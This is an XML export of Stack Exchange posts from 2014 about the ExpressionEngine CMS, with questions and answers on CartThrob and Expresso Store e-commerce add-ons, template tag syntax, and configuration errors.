  <row Id="21031" PostTypeId="2" ParentId="21023" CreationDate="2014-04-06T13:35:57.733" Score="3" Body="&lt;p&gt;It appears that one of the channel fields was at fault. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;To narrow it down, I removed field by field from the template&lt;/li&gt;&#xA;&lt;li&gt;After the error disappeared, I deleted the channel field and recreated it with the same settings.&lt;/li&gt;&#xA;&lt;li&gt;Now just revert all changes to the template and you're good to go.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The error has since disappeared.&lt;/p&gt;&#xA;" OwnerUserId="1736" LastActivityDate="2014-04-06T13:35:57.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21032" PostTypeId="1" CreationDate="2014-04-06T14:30:54.093" Score="1" ViewCount="163" Body="&lt;p&gt;i create payment plugin for cartthrob in EE.&#xA;in this plugin we need to send parameter to gateway website with POST and gateway website will return result with posting parameter to url we gave it.&#xA;everything goes OK but when gateway send parameter to our url we get error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This form has expired. Please refresh and try again.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gateway post data to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/themes/third_party/cartthrob/lib/extload.php/Mellat&quot; rel=&quot;nofollow&quot;&gt;http://example.com/themes/third_party/cartthrob/lib/extload.php/Mellat&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when we call that URL without post data its working...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks and sorry for my English.&lt;/p&gt;&#xA;" OwnerUserId="2938" LastActivityDate="2014-08-18T17:18:44.830" Title="expired form error when return from offline payment in cartthrob payment plugin" Tags="|cartthrob|error|expire|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21034" PostTypeId="2" ParentId="20893" CreationDate="2014-04-07T01:21:24.517" Score="0" Body="&lt;p&gt;Per the comments, one option is to remove the country restriction (UK) from the UK Delivery Flat Fee rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because you aren't offering shipping outside the UK anyway, there's no need to restrict the shipping rule to UK only (since when no rules match the cart it is displaying $0 shipping).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Store 1, generally if no shipping rules for the currently selected shipping method match the current cart, an error will be displayed. In Store 2, if no rules match the current cart then the shipping method is not even displayed.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-04-07T01:21:24.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21037" PostTypeId="1" CreationDate="2014-04-07T09:34:46.477" Score="1" ViewCount="48" Body="&lt;p&gt;If a customer adds products to the basket, fills in their details and then processes a payment and it errors / fails / cancels and they press back (Or click the go back link) in their browser to go back and amend their address (Or the bit that is incorrect) then submit the details again. It doesn't seem to remove the previous address from the session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of just clearing the *customer_info* part of the CartThrob session, not the full basket?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know of this tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:clear_cart clear_customer_info=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't want to clear the cart, just the *customer_info*&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2014-04-07T09:34:46.477" Title="CartThrob - Clear *Customer* Info" Tags="|cartthrob|ecommerce|sessions|shopping-cart|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21038" PostTypeId="1" CreationDate="2014-04-07T09:42:47.677" Score="0" ViewCount="183" Body="&lt;p&gt;I have created a user dashboard and am trying to get the last loggin date to show on the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried {last_activity} but got no output. Is there a variable I can use for this? The profile is extended using zoo visitor.&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-05-07T22:09:41.817" Title="getting the last logged in date" Tags="|login|zoo-visitor|profile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21039" PostTypeId="2" ParentId="21018" CreationDate="2014-04-07T10:32:05.867" Score="1" Body="&lt;p&gt;It's an &lt;code&gt;eval()&lt;/code&gt; error, which means the syntax in your templates is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the snippets you recently changed, and in particular look for something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if something == &quot;nothing&quot;}&#xA;&#xA;{/if}} &amp;lt;-- oops! extra closing bracket&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-04-07T10:32:05.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21040" PostTypeId="1" AcceptedAnswerId="21043" CreationDate="2014-04-07T12:05:59.277" Score="1" ViewCount="84" Body="&lt;p&gt;I have a news on my EE site, it's http.&#xA;Then i have another site that run on https.&#xA;I want to show my news entries on my https site, remembering that https cannot iframing http page, i think i can use API to achive this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is:&#xA;can i use API?&#xA;if yes, how to implement it?&#xA;if no, can you give me options to achive my goal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Best Regards,&#xA;.mafaik&lt;/p&gt;&#xA;" OwnerUserId="2942" LastActivityDate="2014-04-07T14:36:13.910" Title="ExpressionEngine API - get channel entries to show on different site" Tags="|channel-entries-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21043" PostTypeId="2" ParentId="21040" CreationDate="2014-04-07T14:36:13.910" Score="3" Body="&lt;p&gt;You might try creating an RSS feed on the news site. It's fairly easy to setup an XML template and build it out using the standard RSS format, which you can find easily with a Google search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you have an RSS template established, you can use the &lt;a href=&quot;http://brandnewbox.co.uk/products/details/feed_parser&quot; rel=&quot;nofollow&quot;&gt;Feed Parser&lt;/a&gt; add-on on the other site to read and display the RSS feed contents.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-04-07T14:36:13.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21044" PostTypeId="2" ParentId="21038" CreationDate="2014-04-07T14:44:11.143" Score="1" Body="&lt;p&gt;I'm not sure if Zoo Visitor handles this differently, but you may need to place &lt;code&gt;{last_activity}&lt;/code&gt; within the &lt;code&gt;{exp:member:custom_profile_data}&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried &lt;code&gt;{exp:member:custom_profile_data} {last_activity} {/exp:member:custom_profile_data}&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this will display for the current logged-in user unless you show it as part of a larger loop and specify the member_id.&lt;/p&gt;&#xA;" OwnerUserId="367" LastEditorUserId="422" LastEditDate="2014-04-07T21:14:51.797" LastActivityDate="2014-04-07T21:14:51.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21045" PostTypeId="1" CreationDate="2014-04-07T14:46:44.057" Score="0" ViewCount="185" Body="&lt;p&gt;I have recently set up an ExpressionEngine 'Sandbox' test site locally via MAMP (On Mac OSX), and have integrated the Focus Lab LLC’s EE Master Config for when I push the local Sandbox site code to a staging server (using version control via Git/Tower/Beanstalk etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set up all the configurations as required using the documentation for Focus Lab LLC’s EE Master Config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I naivgate to the local MAMP Sandbox site URL: &#xA;ie. &lt;code&gt;http://localhost:8888/sandbox/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the following server error message(s):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: require(/Users/karlbowers/Sites/../config/config.master.php): failed to open stream: No such file or directory in /Users/karlbowers/Sites/Sandbox/system/expressionengine/config/config.php on line 410&#xA;&#xA;Fatal error: require(): Failed opening required '/Users/karlbowers/Sites/../config/config.master.php' (include_path='.:/Applications/MAMP/bin/php/php5.5.10/lib/php') in /Users/karlbowers/Sites/Sandbox/system/expressionengine/config/config.php on line 410&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have placed the new 'config' folder at the same level as the 'system' folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public_html&#xA;&#xA;  config&#xA;  system&#xA;  themes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added the following into my master config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! defined('ENV'))&#xA;{&#xA;    switch (strtolower($_SERVER['HTTP_HOST'])) {&#xA;&#xA;        case 'sandbox.domainname.co.uk' :&#xA;            define('ENV', 'stage');&#xA;            define('ENV_FULL', 'Staging');&#xA;            define('ENV_DEBUG', FALSE);&#xA;        break;&#xA;&#xA;        case 'localhost:8888/sandbox' :&#xA;            define('ENV', 'dev');&#xA;            define('ENV_FULL', 'Development');&#xA;            define('ENV_DEBUG', TRUE);&#xA;        break;&#xA;&#xA;        default :&#xA;            define('ENV', 'local');&#xA;            define('ENV_FULL', 'Local');&#xA;            define('ENV_DEBUG', TRUE);&#xA;        break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why I am getting the errors stated above?&#xA;It's like the URL paths are incorrect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Karl&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2014-04-23T15:48:35.803" Title="Focuslab Master Config not working with MAMP" Tags="|focus-lab-master-config|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21046" PostTypeId="1" CreationDate="2014-04-07T15:19:19.070" Score="0" ViewCount="101" Body="&lt;p&gt;Ive looked at many Switchee questions here, but can't find out why my channel entry id's aren't being called in an embedded template. Switchee is working (with text for test), but Im obviously making a mistake with how Im calling the channel entries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;{case value=&quot;page-one&quot;}&#xA;{exp:channel entries channel=&quot;assorted_content&quot; disable=&quot;member_data|trackbacks|pagination|categories&quot; limit=&quot;1&quot; entry_id=&quot;49&quot;}&#xA;page one body content...&#xA;{/exp:channel:entries}&#xA;{/case} &#xA;{case value=&quot;page-two&quot;}&#xA;{exp:channel entries channel=&quot;assorted_content&quot; disable=&quot;member_data|trackbacks|pagination|categories&quot; limit=&quot;1&quot; entry_id=&quot;42&quot;}&#xA;page two body content...&#xA;{/exp:channel:entries}&#xA;{/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I dont see why the entries aren't being parsed. Ive tried with all the content in one page (without using an embedded template) and it works. What's wrong?&lt;/p&gt;&#xA;" OwnerUserId="1094" LastEditorUserId="1094" LastEditDate="2014-04-07T15:37:24.557" LastActivityDate="2016-06-09T06:25:31.407" Title="Problem calling a specific channel entry using segment_1 and page module" Tags="|switchee|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21047" PostTypeId="2" ParentId="21045" CreationDate="2014-04-07T15:27:04.353" Score="3" Body="&lt;p&gt;It looks like you're running the system below webroot, which is not how the FocusLab master config is setup to run by default. From the readme:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The instructions above are for setting up the config above webroot (your &quot;public_html, &quot;htdocs&quot;, etc directory).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So it assumes this structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/config&#xA;/httpdocs&#xA;/system&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you really need to run your system folder below webroot, &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13731/focus-labs-ee-master-config-under-webroot&quot;&gt;see this answer&lt;/a&gt; - specifically, you need to change the include paths in /config/config.master.php and /system/expressionegine/config.php.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-04-07T15:27:04.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21048" PostTypeId="2" ParentId="21046" CreationDate="2014-04-07T15:30:04.913" Score="0" Body="&lt;p&gt;Could just be something very simple, try changing segment_1 to {segment_1}.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:switchee variable=&quot;segment_1&quot; parse=&quot;inward&quot;} means your looking for the word segment_1 , &lt;/p&gt;&#xA;&#xA;&lt;p&gt;while {exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;} tells EE to look for the value in the URL segment 1  &lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2014-04-07T15:30:04.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21049" PostTypeId="2" ParentId="8805" CreationDate="2014-04-07T15:55:29.297" Score="1" Body="&lt;p&gt;Why not use a javascript solution like this - &lt;a href=&quot;http://www.zazar.net/developers/jquery/zglossary/&quot; rel=&quot;nofollow&quot;&gt;http://www.zazar.net/developers/jquery/zglossary/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a channel called &quot;glossary&quot; then create the json file from the channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a ton of plugins out there with a few more features then the plugin above.&lt;/p&gt;&#xA;" OwnerUserId="1377" LastActivityDate="2014-04-07T15:55:29.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21050" PostTypeId="2" ParentId="21020" CreationDate="2014-04-07T16:44:08.627" Score="2" Body="&lt;p&gt;For this particular quandary, this worked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this line to the top of the SQL file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SET FOREIGN_KEY_CHECKS = 0;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/5700&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/stash/viewthread/5700&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see this problem and the above solution doesn't work, check this thread as well:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/10311&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/stash/viewthread/10311&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2014-04-07T16:44:08.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21052" PostTypeId="1" CreationDate="2014-04-07T18:13:52.670" Score="2" ViewCount="690" Body="&lt;p&gt;I've worked on many EE eComm websites that have used CartThrob as the main add-on to process payments. I love the flexibility of the tags and how it all integrates within channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I recently got alerted to Expresso Store... So I have a few questions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there any major differences? (Pros / Cons)&lt;/li&gt;&#xA;&lt;li&gt;Is it as &lt;em&gt;flexible&lt;/em&gt;? E.g. can you use a Matrix field for product options (Colour etc). Instead of NEEDING to use Stores fieldtypes&lt;/li&gt;&#xA;&lt;li&gt;Whats the support like with Store?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My main reason for this, is I've contact CartThrob previously about custom add-ons (No Reply) and also posted numerous questions on here (And their forum) regarding CartThrob and they don't even get answered (Or it takes days / weeks). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Support is a deal breaker for me, and sadly CartThrob's support is the worst I've come across on any software/service. It's really pushing me away from the product.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2014-04-07T20:47:09.187" Title="CartThrob vs Store" Tags="|expresso-store|cartthrob|add-on|ecommerce|addons|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21053" PostTypeId="2" ParentId="14622" CreationDate="2014-04-07T18:29:24.363" Score="1" Body="&lt;p&gt;Usually this is an issue with mod_security, your host would usually need to whitelist the content or similar.&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2014-04-07T18:29:24.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21055" PostTypeId="2" ParentId="21052" CreationDate="2014-04-07T18:56:02.980" Score="1" Body="&lt;p&gt;AD.#1 - Well, both have own pros and cons. Pros of Expresso Store is their documentation and support. Cons - some modules/options available in CartThrob are not available here (weight per SKU, gift registry) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;AD.#2 - It is up to what do you mean by &quot;flexibility&quot;. I have worked on Magento site and now I'm working on Expresso and Expresso + EE looks more flexible than Magento. Not sure about using Matrix there, but in that case I think you will require to do some customization of Expresso (vide weight per SKU)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AD.#3 - You can post you questions here or directly to them (Store Support) and for both cases they have 24hrs turn around. You don't need to post in both communication channels because they are monitoring both.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-04-07T18:56:02.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21057" PostTypeId="1" AcceptedAnswerId="21076" CreationDate="2014-04-07T19:35:34.927" Score="1" ViewCount="52" Body="&lt;p&gt;I may just be being thick here - but I can't seem to find this even when debugging the code I am writing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my scenario:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have an extension that does something whenever someone created or updates an entry.&lt;/li&gt;&#xA;&lt;li&gt;What I'd like to do is log the user who made edits to an entry&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The issue I am running into is when a user (who did not create the original entry) updates an existing entry. I can find the original author's ID in the $meta['author_id'] field, but don't seem to find any reference to the editing author's ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something, or is this data really not passed to the hook?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MW&lt;/p&gt;&#xA;" OwnerUserId="271" LastActivityDate="2014-04-08T10:58:40.310" Title="Extension Development - Getting the editing author's ID in entry_submission_end hook" Tags="|members|extension|member-details|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21058" PostTypeId="1" AcceptedAnswerId="21060" CreationDate="2014-04-07T19:35:53.543" Score="2" ViewCount="394" Body="&lt;p&gt;I am new to expression engine.&#xA;I have a channel name &quot;news&quot; and I have published some pages. In my template, I have used code as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot;}&#xA;  &amp;lt;h2&amp;gt;{title}&amp;lt;h2&amp;gt;&#xA;  {body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the output is &lt;strong&gt;I get the page title but the content doesn't shows up and i get &lt;code&gt;{body}&lt;/code&gt; as it is on the frontend&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me please, where I am doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANy help is really appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2920" LastEditorUserId="422" LastEditDate="2014-04-07T20:52:10.233" LastActivityDate="2014-04-07T20:58:15.450" Title="Expression Engine channel content not showing" Tags="|channel-entries|channel|pages|page-uri|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21059" PostTypeId="2" ParentId="21052" CreationDate="2014-04-07T20:47:09.187" Score="3" Body="&lt;p&gt;Disclaimer: I represent Exp:resso (Store).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You're not able to use Matrix for product modifiers but in the vast majority of cases you wouldn't need to. Store's own modifiers matrix is fairly flexible providing a way to name your own modifiers along with optional individual or shared SKUs, optional price adjustments, and individual stock control. At present, the only main disadvantage is that you can't (as of yet) set dimensions and weights on a per modifier basis. The advantage however, is that you get ready-made &lt;code&gt;{modifiers}{/modifiers}&lt;/code&gt; &lt;a href=&quot;https://exp-resso.com/docs/product_tag.html#modifiers_variable_pair&quot; rel=&quot;nofollow&quot;&gt;tags&lt;/a&gt; to use with all calculations handled automatically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of differences, generally you can get up and running much more quickly and easily with Store. In places it follows a convention over configuration approach to strike a nice balance between the time it takes to configure and the level of flexibility you have to build whatever ecommerce solution you need to build. Store (and CartThrob) work in harmony with EE to &lt;em&gt;extend&lt;/em&gt; it rather than &lt;em&gt;modify&lt;/em&gt; it meaning that you still have the power and flexibility of EE, custom channels, field groups, relationships, etc whilst adding ecommerce to the mix. All of EE's tags are still available to use as well as those of both shopping carts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Products themselves are entered as regular channel entries in both Cartthrob and Store where you can use as many Channels as you need to group or divide your products as you choose. You're free to use EE's native categories or third party tagging addons to enhance grouping of products and relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store takes a different approach to Cartthrob when it comes to order management by keeping orders outside of EE's regular channels and into it's own database tables. This approach is adopted to provide an extra safeguard. Products are intended to be added and edited by users but orders should also be constant. Any accidental editing can quickly denormalise your order information. Instead they are viewed and Managed via Store's menu options. You still have the flexibility to add payments, change statuses, view and export, etc but this is one area where sensible defaults are applied to protect the data in the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the vast majority of cases the combination of Store and EE provides all the flexibility you need to build your online shop exactly as you imagine. You can create product fairly complex product modifiers with their own stock levels and SKUs, use any number of custom fields to your products channel, set handling charges, product dimensions, multiple tax rates, etc. You can set your own &lt;a href=&quot;https://exp-resso.com/docs/settings_shipping_methods.html&quot; rel=&quot;nofollow&quot;&gt;shipping methods and rates&lt;/a&gt; or use any of the &lt;a href=&quot;https://exp-resso.com/docs/shipping_ups.html&quot; rel=&quot;nofollow&quot;&gt;shipping extensions&lt;/a&gt; for &lt;em&gt;live rates&lt;/em&gt; from the major postal services. You're also free to create your own extensions to extend this to use any other shipping company who provide an API to work with. The same applies to &lt;a href=&quot;https://exp-resso.com/docs/payment_gateways.html&quot; rel=&quot;nofollow&quot;&gt;payment gateways&lt;/a&gt; where &lt;a href=&quot;https://github.com/omnipay/omnipay&quot; rel=&quot;nofollow&quot;&gt;OmniPay&lt;/a&gt; is used under the hood (you can thank Adrian for that one too. In this case it's not a case of selling the by-products but giving them away for free :) ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store 2.0 saw the introduction of &lt;a href=&quot;https://exp-resso.com/docs/control_panel_sales.html&quot; rel=&quot;nofollow&quot;&gt;Sales&lt;/a&gt; and &lt;a href=&quot;https://exp-resso.com/docs/control_panel_discounts.html&quot; rel=&quot;nofollow&quot;&gt;Discounts&lt;/a&gt; with many powerful combinations possible. &lt;a href=&quot;https://exp-resso.com/docs/control_panel_reports.html&quot; rel=&quot;nofollow&quot;&gt;Reports&lt;/a&gt; are included but for anything more detailed it's only an SQL query away. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally everything is built with extension in mind and for specialist requirements there are a growing number of &lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;extension hooks&lt;/a&gt; to take advantage of. If you need one which isn't included then drop us a line. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation is good and &lt;a href=&quot;https://exp-resso.com/docs/release_notes.html&quot; rel=&quot;nofollow&quot;&gt;releases are fast and frequent&lt;/a&gt; with new features being added all the time (there's plenty more in the pipeline!). We're always &lt;a href=&quot;https://exp-resso.com/support/feature-requests&quot; rel=&quot;nofollow&quot;&gt;open to requests&lt;/a&gt; if you have any suggestions. Feel free to &lt;a href=&quot;https://exp-resso.com/support&quot; rel=&quot;nofollow&quot;&gt;contact us directly&lt;/a&gt;, we're always open to feedback. As @JackTheKnife mentioned, we patrol this forum daily so you're free to post here or send us an email. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-07T20:47:09.187" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21060" PostTypeId="2" ParentId="21058" CreationDate="2014-04-07T20:58:15.450" Score="4" Body="&lt;p&gt;You need to ensure that you have created a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/custom_channel_fields.html&quot; rel=&quot;nofollow&quot;&gt;Channel Field Group&lt;/a&gt; and assigned that to your &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/channel_groups.html&quot; rel=&quot;nofollow&quot;&gt;Channel&lt;/a&gt; (News). Then, make sure that you have created at least one field in your Channel Field Group. In this case it would be a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/custom_fields_edit.html&quot; rel=&quot;nofollow&quot;&gt;Textarea Field Type with a name of &lt;code&gt;body&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your Publish/Edit screen for your Channel you'll see your new Body field. Once you enter in some text into this field and save the Entry you should see the results appear in your templates.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-07T20:58:15.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21061" PostTypeId="2" ParentId="21046" CreationDate="2014-04-07T21:02:45.233" Score="0" Body="&lt;p&gt;It looks like you're not declaring your &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag correctly. You have &lt;code&gt;{exp:channel entries}&lt;/code&gt;. Try removing the white space and inserted a colon. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-07T21:02:45.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21062" PostTypeId="1" CreationDate="2014-04-07T21:07:07.787" Score="1" ViewCount="55" Body="&lt;p&gt;I'm trying to use stash withing Expresso Store modifiers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:stash:set_list name=&quot;price_list&quot;}&#xA; {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot; disable_javascript=&quot;yes&quot;}&#xA;    {modifiers}&#xA;        {modifier_options}&#xA;            {if price_mod_val}{stash:item_price}{price_mod_val}{/stash:item_price}{/if}&#xA;        {/modifier_options}&#xA;    {/modifiers}&#xA; {/exp:store:product}&#xA;{/exp:stash:set_list}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but unfortunately I'm getting item_price as {price_mod_val} text instead price value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What kind of tags order suppose to be in that case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-04-07T21:56:59.480" Title="Stash and Expresso Store modifiers" Tags="|expresso-store|stash|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21063" PostTypeId="2" ParentId="20989" CreationDate="2014-04-07T21:45:20.953" Score="1" Body="&lt;p&gt;I'm running EE 2.8.1 on PHP 5.5.10 and I've not noticed any problems so far. You should be safe.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-07T21:45:20.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21064" PostTypeId="2" ParentId="21062" CreationDate="2014-04-07T21:56:59.480" Score="1" Body="&lt;p&gt;Thanks to Ian to put me on proper path to solve my issue. Working code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:stash:set_list name=&quot;price_list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;3&quot; parse_conditionals=&quot;yes&quot;}&#xA; {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot; disable_javascript=&quot;yes&quot;}&#xA;    {modifiers}&#xA;        {modifier_options}&#xA;            {if price_mod_val}{stash:item_price}{price_mod_val}{/stash:item_price}{/if}&#xA;        {/modifier_options}&#xA;    {/modifiers}&#xA; {/exp:store:product}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-04-07T21:56:59.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
